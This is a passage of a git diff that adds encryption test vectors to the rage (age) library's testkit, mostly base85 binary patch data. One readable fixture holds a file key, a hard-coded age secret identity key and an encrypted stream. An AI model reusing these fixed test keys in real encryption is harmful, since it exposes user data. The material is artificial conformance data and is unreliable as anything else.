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 CtBE)O literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stream_empty_payload b/lib/rage/age/tests/testdata/testkit/stream_empty_payload new file mode 100644 index 0000000..6ec1c83 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stream_empty_payload @@ -0,0 +1,10 @@ +expect: success +payload: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 +îÏbÇΑ´3'NhÔòùL­.OÏ>RŠA0Þ«ïC6åU \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stream_last_chunk_empty b/lib/rage/age/tests/testdata/testkit/stream_last_chunk_empty new file mode 100644 index 0000000000000000000000000000000000000000..b3a2a64c7e71d9661ea078498d955e3ab46cf73c GIT binary patch literal 66052 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 